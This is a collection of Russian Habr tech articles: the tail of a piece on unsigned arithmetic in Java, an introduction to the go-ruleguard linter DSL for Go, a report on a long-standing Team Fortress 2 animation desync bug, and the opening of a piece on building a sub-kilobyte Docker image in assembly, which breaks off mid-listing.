Но что делать с `long`? Переходить на `BigInteger` в таких случаях обычно не вариант — слишком медленно. Остаётся только брать всё в свои руки и реализовывать деление вручную. К счастью, всё уже украдено до нас — в [Google Guava](https://code.google.com/p/guava-libraries/) есть реализация беззнакового деления для `long`, причём довольно шустрая. Если вы не используете эту библиотеку, проще всего выдрать кусок кода прямо из файла [UnsignedLongs.java](https://code.google.com/p/guava-libraries/source/browse/guava/src/com/google/common/primitives/UnsignedLongs.java):
```
/**
* Returns dividend / divisor, where the dividend and divisor are treated as unsigned 64-bit
* quantities.
*
* @param dividend the dividend (numerator)
* @param divisor the divisor (denominator)
* @throws ArithmeticException if divisor is 0
*/
public static long divide(long dividend, long divisor) {
if (divisor < 0) { // i.e., divisor >= 2^63:
if (compare(dividend, divisor) < 0) {
return 0; // dividend < divisor
} else {
return 1; // dividend >= divisor
}
}
// Optimization - use signed division if dividend < 2^63
if (dividend >= 0) {
return dividend / divisor;
}
/*
* Otherwise, approximate the quotient, check, and correct if necessary. Our approximation is
* guaranteed to be either exact or one less than the correct value. This follows from fact
* that floor(floor(x)/i) == floor(x/i) for any real x and integer i != 0. The proof is not
* quite trivial.
*/
long quotient = ((dividend >>> 1) / divisor) << 1;
long rem = dividend - quotient * divisor;
return quotient + (compare(rem, divisor) >= 0 ? 1 : 0);
}
```
Чтобы код компилировался, придётся также позаимствовать реализацию `compare(long, long)`:
```
/**
* Compares the two specified {@code long} values, treating them as unsigned values between
* {@code 0} and {@code 2^64 - 1} inclusive.
*
* @param a the first unsigned {@code long} to compare
* @param b the second unsigned {@code long} to compare
* @return a negative value if {@code a} is less than {@code b}; a positive value if {@code a} is
* greater than {@code b}; or zero if they are equal
*/
public static int compare(long a, long b) {
return Longs.compare(flip(a), flip(b));
}
```
и `Longs.compare(long, long)` + `flip(long)`:
```
/**
* A (self-inverse) bijection which converts the ordering on unsigned longs to the ordering on
* longs, that is, {@code a <= b} as unsigned longs if and only if {@code flip(a) <= flip(b)}
* as signed longs.
*/
private static long flip(long a) {
return a ^ Long.MIN_VALUE;
}
/**
* Compares the two specified {@code long} values. The sign of the value
* returned is the same as that of {@code ((Long) a).compareTo(b)}.
*
* @param a the first {@code long} to compare
* @param b the second {@code long} to compare
* @return a negative value if {@code a} is less than {@code b}; a positive
* value if {@code a} is greater than {@code b}; or zero if they are equal
*/
public static int compare(long a, long b) {
return (a < b) ? -1 : ((a > b) ? 1 : 0);
}
```
#### Побитовые сдвиги
Чтобы окончательно покрыть тему о битовых операциях, вспомним также о сдвигах. В x86 ассемблере есть целая пачка различных команд, которые делают побитовые сдвиги — SHL, SHR, SAL, SAR, ROR, ROL, RCR, RCL. Последние 4 осуществляют циклические сдвиги, их эквивалентов в Java нет. А вот логические и арифметические сдвиги присутствуют. Логический сдвиг (не учитывает знака) — SHL (shift left) и SHR (shift right) — реализуется в Java операторами `<<` и `>>>` соответственно. С помощью логических сдвигов можно быстро выполнять целочисленные умножение и деление на числа степени двойки. Арифметический сдвиг (учитывает знак) вправо — SAR — реализуется оператором `>>`. Арифметический сдвиг влево эквивалентен логическому, и поэтому специального оператора для него нет. Может показаться странным, что в ассемблере есть специальный опкод для этой операции, но на самом деле он делает то же самое, то есть SAL полностью повторяет поведение SHL, и об этом прямо говорит документация от Intel:
> The shift arithmetic left (SAL) and shift logical left (SHL) instructions perform the same operation; they shift the bits in the destination operand to the left (toward more significant bit locations). For each shift count, the most significant bit of the destination operand is shifted into the CF flag, and the least significant bit is cleared (see Figure 7-7 in the Intel®64 and IA-32 Architectures Software Developer'sManual, Volume 1).
То есть SAL добавили просто для симметрии, с учётом того, что для сдвига вправо есть разделение на логический и арифметический. Ну а Гослинг решил не заморачиваться (и, думается, правильно сделал).
Итак, мы имеем следующее:
```
a << 1; // беззнаковый сдвиг влево, эквивалентно умножению на 2
a >> 1; // сдвиг вправо с учётом знака (эквивалентно делению на 2)
a >>> 1; // сдвиг вправо без учёта знака (эквивалентно беззнаковому делению на 2)
```
#### Заключительные рекомендации
* При выполнении арифметических действий, которые могут привести к переполнению в выбранной разрядной сетке, нужно всегда точно представлять, какая область допустимых значений может быть у переменных, и отслеживать эти инварианты, расставляя утверждения (assertions). Например, очевидно, что при умножении двух произвольных 32-разрядных беззнаковых чисел результат может не поместиться в 32 бита, и если вам нужно избежать переполнения, нужно либо убедиться, что в этом месте никогда не будет ситуации, при которой произведение не влезает в 32 бита, либо необходимо предварительно сконвертировать оба операнда в long (выполнив `a & 0xffffffffL`). Здесь, кстати, можно легко допустить ошибку, сконвертировав только один из операндов. Нет, нужно сконвертировать в long оба, т.к. если второй операнд окажется отрицательным, он будет неявно преобразован в long с расширением знака, и результат умножения будет неправильным.
* Щедро расставляйте скобки в выражениях, где используются побитовые операции. Дело в том, что приоритет побитовых операторов в Java несколько странный, и часто ведёт себя неочевидным образом. Лучше добавить пару скобок, чем потом несколько часов искать трудноуловимые ошибки.
* Если вам нужна константа типа `long`, не забудьте добавить суффикс `L` в конец литерала константы. Если этого не сделать, это будет не `long`, а `int`, и при неявном приведении к `long` снова произойдёт неприятное нам расширение со знаком. | https://habr.com/ru/post/225901/ | null | ru | null |
# ruleguard: динамические проверки для Go

В этой статье я расскажу о новой библиотеке (и утилите) статического анализа [`go-ruleguard`](https://github.com/quasilyte/go-ruleguard), которая адаптирует [`gogrep`](https://github.com/mvdan/gogrep) для использования внутри линтеров.
Отличительная особенность: правила статического анализа вы описываете на особом Go-подобном DSL, который на старте `ruleguard` превращается в набор диагностик. Возможно, это один из самых легко конфигурируемых инструментов для реализации кастомных инспекций для Go.
В качестве бонуса, мы поговорим об [`go/analysis`](https://godoc.org/golang.org/x/tools/go/analysis) и его [предшественниках](https://github.com/go-lintpack/lintpack).
Расширяемость статического анализа
==================================
Для Go существует [множество](https://github.com/golangci/awesome-go-linters) линтеров, некоторые из которых можно расширять. Обычно для расширения линтера вам требуется написать Go код, использующий специальное API линтера.
Есть два основных пути: [Go plugins](https://golang.org/pkg/plugin/) и монолит. Монолит подразумевает, что все проверки (в том числе ваши личные) доступны на этапе компиляции.
[`revive`](https://github.com/mgechev/revive) требует включения новых проверок в своё ядро для расширения. [`go-critic`](https://github.com/go-critic/go-critic) вдобавок к этому умеет в плагины, что позволяет собирать расширения независимо от основного кода. Оба эти подхода подразумевают, что вы реализуете манипуляции над [`go/ast`](https://golang.org/pkg/go/ast/) и [`go/types`](https://golang.org/pkg/go/types/) на Go, используя API линтера. Даже простые проверки требуют [много кода](https://github.com/mgechev/revive/blob/master/rule/call-to-gc.go).
[`go/analysis`](https://godoc.org/golang.org/x/tools/go/analysis) призван упростить картину тем, что "фреймворк" у линтеров становится практически идентичным, но он не решает проблему сложности технической реализации самих диагностик.
**Отступление о `loader` и `go/packages`**
---
Когда вы пишите анализатор для Go, вашей конечной целью является взаимодействие с AST и типами, но перед тем, как вы это сможете сделать, исходные коды нужно правильным образом "загрузить". Если упрощённо, в понятие загрузки входит [парсинг](https://golang.org/pkg/go/parser/), проверка типов и [импортирование зависимостей](https://golang.org/pkg/go/importer/).
Первым шагом в упрощении этого пайплайна стал пакет [`go/loader`](https://godoc.org/golang.org/x/tools/go/loader), который позволят "загрузить" всё нужное через пару вызовов. Всё было почти хорошо, а потом он стал deprecated в пользу [`go/packages`](https://godoc.org/golang.org/x/tools/go/packages). `go/packages` имеет немного улучшенное API и, в теории, хорошо работает с модулями.
Теперь для написания анализаторов лучше всего не использовать ничего из выше перечисленного напрямую, потому что [`go/analysis`](https://godoc.org/golang.org/x/tools/go/analysis) дал `go/packages` то, чего не было ни у одного предыдущего решения — структуру для вашей программы. Теперь мы можем использовать диктуемую `go/analysis` парадигму и переиспользовать работу анализаторов более эффективно. У этой парадигмы есть спорные моменты, например, `go/analysis` хорошо подходит для анализа на уровне одного пакета и его зависимостей, но сделать на нём глобальный анализ без хитрых инженерных ухищрений будет не просто.
`go/analysis` также упрощает [тестирование анализаторов](https://godoc.org/golang.org/x/tools/go/analysis/analysistest).
---
Что же такое ruleguard?
=======================

[`go-ruleguard`](https://github.com/quasilyte/go-ruleguard) — это утилита статического анализа, которая по умолчанию не включает в себя ни единой проверки.
Правила `ruleguard` подгружаются на старте, из специального файла, декларативно описывающего паттерны кода, на которые стоит выдавать предупреждения. Этот файл может свободно редактироваться пользователями `ruleguard`.
Перекомпилировать управляющую программу для подключения новых проверок не нужно, поэтому правила из ruleguard файлов можно называть [динамическими](https://habr.com/ru/company/vk/blog/473718/).
Управляющая программа `ruleguard` выглядит так:
```
package main
import (
"github.com/quasilyte/go-ruleguard/analyzer"
"golang.org/x/tools/go/analysis/singlechecker"
)
func main() {
singlechecker.Main(analyzer.Analyzer)
}
```
При этом `analyzer` реализован через пакет [`ruleguard`](https://godoc.org/github.com/quasilyte/go-ruleguard/ruleguard), который и нужно использовать в случае, если вы хотите использовать его как библиотеку.
ruleguard VS revive
===================
Возьмём простой, но реальный пример: предположим, мы хотите избегать вызовов [`runtime.GC()`](https://golang.org/pkg/runtime/#GC) в наших программах. В revive для этого уже есть отдельная диагностика, она называется `"call-to-gc"`.
**Реализация call-to-gc (70 строк на Эльфийском)**
---
```
package rule
import (
"go/ast"
"github.com/mgechev/revive/lint"
)
// CallToGCRule lints calls to the garbage collector.
type CallToGCRule struct{}
// Apply applies the rule to given file.
func (r *CallToGCRule) Apply(file *lint.File, _ lint.Arguments) []lint.Failure {
var failures []lint.Failure
onFailure := func(failure lint.Failure) {
failures = append(failures, failure)
}
var gcTriggeringFunctions = map[string]map[string]bool{
"runtime": map[string]bool{"GC": true},
}
w := lintCallToGC{onFailure, gcTriggeringFunctions}
ast.Walk(w, file.AST)
return failures
}
// Name returns the rule name.
func (r *CallToGCRule) Name() string {
return "call-to-gc"
}
type lintCallToGC struct {
onFailure func(lint.Failure)
gcTriggeringFunctions map[string]map[string]bool
}
func (w lintCallToGC) Visit(node ast.Node) ast.Visitor {
ce, ok := node.(*ast.CallExpr)
if !ok {
return w // nothing to do, the node is not a call
}
fc, ok := ce.Fun.(*ast.SelectorExpr)
if !ok {
return nil // nothing to do, the call is not of the form pkg.func(...)
}
id, ok := fc.X.(*ast.Ident)
if !ok {
return nil // in case X is not an id (it should be!)
}
fn := fc.Sel.Name
pkg := id.Name
if !w.gcTriggeringFunctions[pkg][fn] {
return nil // it isn't a call to a GC triggering function
}
w.onFailure(lint.Failure{
Confidence: 1,
Node: node,
Category: "bad practice",
Failure: "explicit call to the garbage collector",
})
return w
}
```
---
А теперь сравните с тем, как это делается в [`go-ruleguard`](https://github.com/quasilyte/go-ruleguard):
```
package gorules
import "github.com/quasilyte/go-ruleguard/dsl"
func callToGC(m dsl.Matcher) {
m.Match(`runtime.GC()`).Report(`explicit call to the garbage collector`)
}
```
Ничего лишнего, только то, что действительно важно — `runtime.GC` и сообщение, которое нужно выдавать в случае срабатывания правила.
Вы можете спросить: и это всё? Я специально начал с такого простого примера, чтобы показать, как много кода может потребоваться для очень тривиальной диагностики в случае традиционного подхода. Обещаю, дальше будут более захватывающие примеры.
Quick start
===========
В `go-critic` есть диагностика [`rangeExprCopy`](https://go-critic.github.io/overview#rangeExprCopy-ref), которая находит в коде потенциально неожиданные копирования массивов.
Вот этот код итерируется по **копии** массива:
```
var xs [2048]byte
for _, x := range xs { // Copies 2048 bytes
// Loop body.
}
```
Исправление этой проблемы заключается в добавлении одного символа:
```
var xs [2048]byte
- for _, x := range xs { // Copies 2048 bytes
+ for _, x := range &xs { // No copy
// Loop body.
}
```
Скорее всего, вам это копирование не нужно, а производительность исправленного варианта всегда лучше. Можно ждать, пока Go компилятор станет лучше, а можно детектировать такие места в коде и поправить их уже сегодня с помощью того же `go-critic`.
Эту диагностику можно реализовать на нашем DSL (файл `rules.go`):
```
package gorules
import "github.com/quasilyte/go-ruleguard/dsl"
func rangeExprCopy(m dsl.Matcher) {
m.Match(`for $_, $_ := range $x { $*_ }`,
`for $_, $_ = range $x { $*_ }`).
Where(m["x"].Addressable && m["x"].Type.Size >= 128).
Report(`$x copy can be avoided with &$x`).
At(m["x"]).
Suggest(`&$x`)
}
```
Правило находит все циклы `for-range`, где используются обе итерируемые переменные (именно этот случай ведёт к копированию). Итерируемое выражение `$x` должно быть [`addressable`](https://golang.org/ref/spec#Address_operators) и его размер должен быть выше выбранного порога в байтах.
[`Report()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Report) определяет сообщение, которое нужно выдавать пользователю, а [`Suggest()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Suggest) описывает `quickfix` шаблон, который может использоваться в вашем редакторе через [gopls](https://github.com/golang/tools/tree/master/gopls) (LSP), а также интерактивно, если `ruleguard` вызван с аргументом `-fix` (мы ещё к этому вернёмся). [`At()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.At) привязывает предупреждение **и** `quickfix` к конкретной части шаблона. Нам это необходимо, чтобы заменить `$x` на `&$x`, а не переписать весь цикл.
И `Report()`, и `Suggest()`, принимают строку, в которую можно интерполировать захваченные шаблоном из `Match()` выражения. Предопределённая переменная `$$` означает "весь захваченный фрагмент" (как `$0` в регулярных выражениях).
Создадим файл `rangecopy.go`:
```
package example
// sizeof(builtins[...]) = 240 on x86-64
var builtins = [...]string{
"append", "cap", "close", "complex", "copy",
"delete", "imag", "len", "make", "new", "panic",
"print", "println", "real", "recover",
}
func builtinID(name string) int {
for i, s := range builtins {
if s == name {
return i
}
}
return -1
}
```
Теперь мы можем запустить `ruleguard`:
```
$ ruleguard -rules rules.go -fix rangecopy.go
rangecopy.go:12:20: builtins copy can be avoided with &builtins
```
Если после этого мы посмотрим в `rangecopy.go`, то увидим исправленный вариант, потому что `ruleguard` был вызван с параметром `-fix`.
Простейшие правила можно отлаживать и без создания `rules.go` файла:
```
$ ruleguard -c 1 -e 'm.Match(`return -1`)' rangecopy.go
rangecopy.go:17:2: return -1
16 }
17 return -1
18 }
```
Благодаря использованию [`go/analysis/singlechecker`](https://godoc.org/golang.org/x/tools/go/analysis/singlechecker) у нас есть опция `-c`, которая позволяет выводить указанное строк контекста вместе с самим предупреждением. Управление этим параметром немного контринтуитивно: значение по умолчанию равно `-c=-1`, что означает "без контекста", а `-c=0` будет выводить одну строку контекста (ту, на которую указывает диагностика).
Вот ещё несколько интересных возможностей DSL:
* [Шаблоны типов](https://github.com/quasilyte/go-ruleguard/blob/master/_docs/dsl.md#type-pattern-matching), которые позволяют задавать ожидаемые типы. Например, выражение `map[$t]$t` описывает все мапы, у которых тип значения совпадает с типом ключа, а `*[$len]$elem` захватываем все указатели на массивы.
* Внутри одной функции может быть несколько правил,
а сами функции стоит называть [группами правил](https://github.com/quasilyte/go-ruleguard/blob/master/_docs/dsl.md#rule-group-statements).
* Правила в группе применяются одно за другим, в порядке их определения. Первое сработавшее правило отменяет сопоставление с оставшимися правилами. Это важно не столько для оптимизации, сколько для специализации правил для конкретных случаев. Примером, где это полезно, является правило переписывания `$x=$x+$y` в `$x+=$y`, для случая с `$y=1` вы хотите предлагать `$x++`, а не `$x+=1`.
Больше информации об используемом DSL можно найти в [`docs/dsl.md`](https://github.com/quasilyte/go-ruleguard/blob/master/_docs/dsl.md).
Ещё больше примеров
===================
```
package gorules
import "github.com/quasilyte/go-ruleguard/dsl"
func exampleGroup(m dsl.Matcher) {
// Находим потенциально некорректные использования json.Decoder.
// См. http://golang.org/issue/36225
m.Match(`json.NewDecoder($_).Decode($_)`).
Report(`this json.Decoder usage is erroneous`)
// Делаем умный unconvert, предлагая убирать лишние преобразования.
m.Match(`time.Duration($x) * time.Second`).
Where(m["x"].Const).
Suggest(`$x * time.Second`)
// Предлагаем заменить fmt.Sprint() на вызов метода String(),
// если у $x таковой имеется.
m.Match(`fmt.Sprint($x)`).
Where(m["x"].Type.Implements(`fmt.Stringer`)).
Suggest(`$x.String()`)
// Упрощаем логические выражения.
m.Match(`!($x != $y)`).Suggest(`$x == $y`)
m.Match(`!($x == $y)`).Suggest(`$x != $y`)
}
```
Если для правила нет вызова [`Report()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Report), то будет использоваться сообщение, выводимое из [`Suggest()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Suggest). Это позволяет в некоторых случаях избежать дублирования.
Фильтры типов и подвыражений могут проверять различные свойства. Например, полезными являются свойства `Pure` и `Const`:
* [`Var.Pure`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Var) означает, что выражение не имеет побочных эффектов.
* [`Var.Const`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Var) означает, что выражение может быть использовано в константном контексте (например, размерность массива).
Для `package-qualified` имён в [`Where()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Where) условиях нужно использовать метод [`Import()`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl#Matcher.Import). Для удобства, все стандартные пакеты импортированы за вас, поэтому в примере выше нам не нужно делать дополнительных импортов.
`go/analysis` quickfix actions
==============================
Поддержку `quickfix` за нас реализует `go/analysis`.
В модели `go/analysis`, анализатор генерирует [диагностики](https://godoc.org/golang.org/x/tools/go/analysis#Diagnostic) и [факты](https://godoc.org/golang.org/x/tools/go/analysis#Fact). Диагностики отправляются пользователям, а факты предназначены для использования другими анализаторами.
Диагностика может иметь набор [предлагаемых исправлений](https://godoc.org/golang.org/x/tools/go/analysis#SuggestedFix), каждое из которых описывает как нужно изменить исходные коды в указанном диапазоне, чтобы устранить проблему, найденную диагностикой.
Официальное описание доступно в документе [`go/analysis/doc/suggested_fixes.md`](https://github.com/golang/tools/blob/master/go/analysis/doc/suggested_fixes.md).
Заключение
==========

Попробуйте `ruleguard` на своих проектах, а в случае, если вы нашли баг или хотите попросить новую фичу, [откройте issue](https://github.com/quasilyte/go-ruleguard/issues/new).
Если вам всё ещё сложно придумать применение `ruleguard`, вот примеры:
* Реализация своих собственных диагностик для Go.
* Автоматическая модернизация или рефакторинг кода с помощью `-fix`.
* Сбор статистики по коду с обработкой [`-json`](https://github.com/golang/tools/blob/master/go/analysis/internal/analysisflags/flags.go#L76) результата анализатора.
Планы по развитию `ruleguard` на ближайшее будущее:
* Внедрить `ruleguard` в [`go-critic`](https://github.com/go-critic/go-critic) как один из способов его расширения.
* Испробовать идеи из [Applied Go code similarity analysis](https://github.com/quasilyte/talks/tree/master/2019-7-Oct-moscow) ([нормализация кода](https://github.com/quasilyte/astnorm)).
* Добавлять новые возможности в DSL. [sub-matches](https://github.com/quasilyte/go-ruleguard/issues/28) может быть полезным дополнением.
Полезные ссылки и ресурсы
=========================
* Примеры диагностик можно найти в [go-ruleguard/rules](https://github.com/quasilyte/go-ruleguard/blob/master/rules)
* [`Документация dsl`](https://godoc.org/github.com/quasilyte/go-ruleguard/dsl)
* [`Документация ruleguard`](https://godoc.org/github.com/quasilyte/go-ruleguard/ruleguard)
* Используемый движок для матчинга AST: [`mvdan/gogrep`](https://github.com/mvdan/gogrep)
* [Динамические проверки в NoVerify](https://habr.com/ru/company/vk/blog/473718/) | https://habr.com/ru/post/481696/ | null | ru | null |
# Серьёзный баг со снайперской стрельбой в Team Fortress 2 исправили спустя десять лет
*При переключении между разными классами персонажей параметры представления персонажа некорректно обновляются. Более того, после переключения в режим зрителя и обратно начинается рассинхрон между параметрами представления и анимации*.
В наши дни популярные игры обновляются постоянно. Всего пару месяцев не запускал лицензионную игрушку — и ты её уже не запустишь, потому что она сразу начинает обновляться.
Обновления игры обычно исправляют найденные баги. В играх класса ААА исправление глюков не занимает много времени. Хотя бывают исключения. На поиск и исправление бага в популярной игре Team Fortress 2 понадобилось почти *десять* лет! В течение этих лет игроки жаловались на глюки снайперской стрельбы — никто не знал, почему они происходят.
Суть бага изложена в [сообщении](https://np.reddit.com/r/tf2/comments/5u2s53/tf2_update_for_21417/ddqwdus/?context=3) пользователя Reddit под ником *sigsegv\_\_*. По его словам, этот «гигантский» баг обнаружен одним из программистов *Nicknine* из группы разработки TF2 Classic. Затем сам *sigsegv\_\_* сообщил о находке в компанию Valve, который включила исправление в апдейт от 14 февраля 2017 года.
Баг проявляется при смене класса персонажа. После этого его параметры представления могут серьёзно искажаться, не совпадая с анимационным представлением персонажа на сервере. Конкретно, в некоторых случаях меняются местами параметры представления `move_x` и `move_y`.
Такое несовпадение хорошо показано на демонстрационных видео, которые подготовил *Nicknine* в январе 2017 года для демонстрации бага.
**Демонстрация на локальном (listen) сервере**
**Демонстрация на выделенном сервере**
При смене класса персонажа, например, при переходе с солдата на разведчика, пулемётчика или снайпера, его параметры представления некорректно обновляются на сервере. То есть сервер воспринимает параметры представления старого скелетона, хотя анимация отображается уже для нового персонажа.
Хотя анимация не соответствует параметрам представления, поначалу она нормально синхронизирована с ним. Но после перехода в режим зрителя и обратно происходит рассинхрон. В этом случае анимация двигается отдельно от скелетона.
Фактически, ваш или любой другой персонаж фактически может иметь другую форму и находиться в другом месте — не там, где он отображается на экране.
Что означит в конкретной игре? Во-первых, противник может убить вас случайным выстрелом, когда вы спрятались за стену (а ваш скелетон на самом деле ещё выступает наружу). Во-вторых, нечестные читеры могли применять этот трюк, чтобы маскировать реальное местонахождение своего тела. Видимый анимированный персонаж, получается, становится эдаким бессмертным фантомом, который не реагирует на попадания пуль. Впрочем, рассинхрон не настолько велик, чтобы этот чит можно было действительно с пользой применять.
Этот баг присутствовал в игре с момента её выхода в октябре 2007 года, то есть больше девяти лет! Если считать время разработки и тестирования игры перед официальным релизом, то багу наверняка больше десяти лет.
В комментариях к видео с демонстрацией бага на YouTube опубликовано более детальное объяснение, когда он проявляется. Если верить этому объяснению, для повторения бага нужно присоединиться к серверу и в качестве первого персонажа выбрать разведчика, пулемётчика или снайпера. Затем в любой момент на этом сервере нужно изменить этого персонажа на солдата, поджигателя, подрывника, инженера, медика или шпиона. В этом случае параметры представления на сервере будут искажены, не совпадая с анимацией.
Баг проявляется также при обратной смене персонажа. Если вы сначала создаёте на сервере класс солдата, поджигателя, подрывника, инженера, медика или шпиона. А затем меняете его на разведчика, пулемётчика или снайпера.
Изменение класса обратно, выбор другого персонажа или его смерть *не исправляют баг*. Переход в режим зрителя тоже не помогает. Более того, в этом случае при обратном переходе может начаться даже сильная рассинхронизация с анимацией.
Причина бага
============
Замена параметров представления `move_x` и `move_y` объясняется тем, что для разведчика, пулемётчика или снайпера список параметров представления указан в одном порядке, а для персонажей солдата, поджигателя, подрывника, инженера, медика и шпиона — в другом порядке.
Кстати, у роботов в кооперативном режиме игры «Манн против машин» мутации быть намного серьёзнее, потому что там у роботов больше параметров для замены, кроме `move_x` и `move_y`.

*Параметры представления роботов в режиме MvM*
Для примера, ниже демонстрация бага в режиме MvM.
**Робот-разведчик**
**Робот-инженер**
Боты респаунятся через игровые слоты по тому же механизму, как игроки-люди меняют персонажа, поэтому баг проявляется у них автоматически.
Кстати, на форумах Valve уже много лет игроки жаловались на баги снайперской стрельбы — вроде точно целишься в голову, но выстрел мимо. Попадания в голову словно совершенно случайны. Эти жалобы на хедшоты ([от 2012 года](http://forums.steampowered.com/forums/showthread.php?t=2679343), [от 2014 года](http://steamcommunity.com/app/440/discussions/0/540744937531892222/), [ещё от 2012 года](http://www.escapistmagazine.com/forums/read/9.338118-I-am-so-sick-of-TF2-and-Valve)) принято было считать параноидальным бредом недовольных лузеров, которые пытаются оправдать свои поражения.
Спустя 10 лет после выхода игры баг исправили. Это заняло у разработчиков, наверное, пару минут (или секунд). | https://habr.com/ru/post/373181/ | null | ru | null |
# Самый маленький Docker-образ — меньше 1000 байт
***Прим. перев.**: Автор этого материала — архитектор в Barclays и Open Source-энтузиаст из Великобритании Ian Miell. Он задаётся целью сделать удобный образ Docker (со «спящим» бинарником), который не нужно скачивать, а достаточно просто копировать через copy & paste. Методом проб, ошибок и экспериментов с Assembler-кодом он достигает цели, подготовив образ размером менее килобайта.*

**Вот он (закодирован в base64)**`H4sICIa2A1sCA2IA7Vrrbts2FFYL7M9+7QUGGNyfDYhtkuJFFLAhWZOhBYJmaLMOWBAEFC+xVlkyJLpYEBjdY+0l+k6jfGvqtkEWp2qD8TMg8vAqnsNzDg9lQhhmEjHDhY4zgWJBBUQJ5ZnCGAubMUQMyhJqoRRMJxYbo7Q2CedYxlQO/myqMroeEEHICIngApspxohEKI4h5DHmGEUQQw7jqAejDjBtnKz9q2w7zubi7gkugazVKHdGuWltQArkWDMCdoCqSpufg/QSPK4aV8pxW+nL96uxzMu39G+NqRe5PeekGj13Oi9BamXRmCtl1dS9X2jqel147C7W+aOJKd8dZ04dlcqsSw7KVyA9Ab/uHT/+cTht6mFRKVkMmywv0yv0mnxbMc8sSP8Apzvg0ViDtJwWxQ54Mpbny5W9qIrp2DSrmt+r+mVenu/ny+UelK6+mFR56VYtjsqfp3mxHupQZqZYdp/NGeo850x99r9j7QloyWEz8kvpK//47vuymvzQ29vf79m8MKnIaIa8bUmwRdByw6TKREIoIzE3xBrjrY7MGDUilomQ3GrNrFaIKqSZ4lkvL3tD12sn/IQCrI10xtcC7C1kH9I+xseQpYilRAwoZ5AI9IcfWFfqpRfzK1M3eeUZDRAfQDGAfc/jHTDKG1fVXiInlzcfctnwLPP9Vszs9VXvUzFy5jlZV5WzTbtN3cWkZWkhL/yS2gXm1p7lumkl24wkpv51FbYcU0EZy7SV0ucEZowkiCjvLbAVikCaGUqhyjT0c0Lj/YrElmmSWANOZ7MooHPwRCiLRaJEzBXKFGTCy49lUHNKjEigVdD6H4uTzPj9wzDCSawU0TQT2ujhjVwjgZzSj/n/eX7D/xPm/T8N/v/Ll/+Lg2fPnxw93eL85xFvyB9Rn4TzXwdAAxiMYLD/t9f/7eM/xDja1P+YBf3vKP7L2+PnttsA/IfjcQiE7nkgdH18Ey4O7pjdH7ygmX0p9n8eFA5aG3pb+0/eP/9jzFmw/13AdTBHK3/OPx7/Ic4X8qecQ9K244QG/98JXh8c/vLwwYM1/TD6KWqpv6LdOb37gT67URKterTpVxu1V9PXq3lW1d8skn++9Y83f4cDeEBAQMBnwliWuTWNu8l33G38/3X3fzGk79wFQ4S4Lwr+vwOcXIJHy4ANkLv4L4APcJ6ZSXUsz+efh1xaSOf3VxstHS6+H/nSu4s6wOns9OugxrdG7WXV5K6qc9NEn0n/ESab+s9o0P+O7v9ce1WzVNI7uAiczYI6BgQEBNwD/AvqV/+XACoAAA==`
Как я к этому пришёл?
---------------------
Однажды коллега показал Docker-образ, который он использовал для тестирования кластеров Kubernetes. Он ничего не делал: просто запускал под и ждал, пока вы его убьёте.
> «Смотри, он занимает всего 700 килобайт! Его по-настоящему быстро скачивать!»
И тут мне стало любопытно, какой же минимальный образ Docker я смогу создать. Хотелось получить такой, что можно было бы закодировать в base64 и отправлять буквально куда угодно простым copy & paste. Поскольку Docker-образ — это просто tar-файл, а tar-файл — это всего лишь файл, всё должно получиться.
Крохотный бинарник
------------------
В первую очередь мне был нужен очень маленький Linux-бинарник, которые ничего не делает. Потребуется немного волшебства — и вот две замечательные, содержательные и достойные прочтения статьи о создании маленьких исполняемых файлов:
* «[Smallest x86 ELF Hello World](http://timelessname.com/elfbin/)»;
* «[A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux](https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html)».
Мне нужен был не «Hello World», а программа, которая просто спит и работает на x86\_64. Я начал с примера из первой статьи:
```
SECTION .data
msg: db "Hi World",10
len: equ $-msg
SECTION .text
global _start
_start:
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
mov ebx,0
mov eax,1
int 0x80
```
Запустим:
```
nasm -f elf64 hw.asm -o hw.o
ld hw.o -o hw
strip -s hw
```
Получается бинарник в **504 байта**.
Но всё-таки нужен не «Hello World»… Во-первых, я выяснил, что излишни секции `.data` или `.text` и не требуется загрузка данных. Вдобавок, верхняя половина секции `_start` занимается выводом текста. В итоге, я попробовал следующий код:
```
global _start
_start:
mov ebx,0
mov eax,1
int 0x80
```
И он скомпилировался уже в **352 байта**.
Но это ещё не искомый результат, потому что программа просто завершает свою работу, а нам нужно, чтобы она спал*а*. В результате дополнительных исследований выяснилось, что команда `mov eax` заполняет регистр процессора соответствующим номером системного вызова Linux, а `int 0x80` производит сам вызов. Подробнее это описано [здесь](https://www.tutorialspoint.com/assembly_programming/assembly_system_calls.htm).
А [здесь](https://syscalls.kernelgrok.com/) я нашёл нужный список. Syscall 1 — это `exit`, а нужный нам — это [`syscall 29:pause`](http://man7.org/linux/man-pages/man2/pause.2.html). Получилась такая программа:
```
global _start
_start:
mov eax, 29
int 0x80
```
Мы сэкономили ещё 8 байтов: компиляция выдала результат в **344 байта**, и теперь это подходящий нам бинарник, который ничего не делает и ожидает сигнала.
Копаясь в hex'ах
----------------
Настало время достать бензопилу и разобраться с бинарником… Для этого я использовал [hexer](https://devel.ringlet.net/editors/hexer/), который по сути vim для бинарных файлов с возможностью прямого редактирования hex'ов. После продолжительных экспериментов я получил из такого:

… вот это:

Данный код делает то же самое, но обратите внимание, сколько строк и пробелов ушло. В процессе своей работы я руководствовался [таким документом](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format), но по большому счёту это был путь проб и ошибок.
Итак, размер уменьшился до **136 байт**.
Меньше 100 байт?
----------------
Хотелось узнать, можно ли пойти дальше. Прочитав [это](https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html), я предположил, что получится дойти до 45 байт, однако — увы! — нет. Описанные там фокусы рассчитаны только на 32-битные бинарники, а для 64-битных не проходили.
Лучшее же, что мне удалось, — взять [эту 64-битную версию программы](https://blog.stalkr.net/2014/10/tiny-elf-3264-with-nasm.html) и встроить в свой системный вызов:
```
BITS 64
org 0x400000
ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
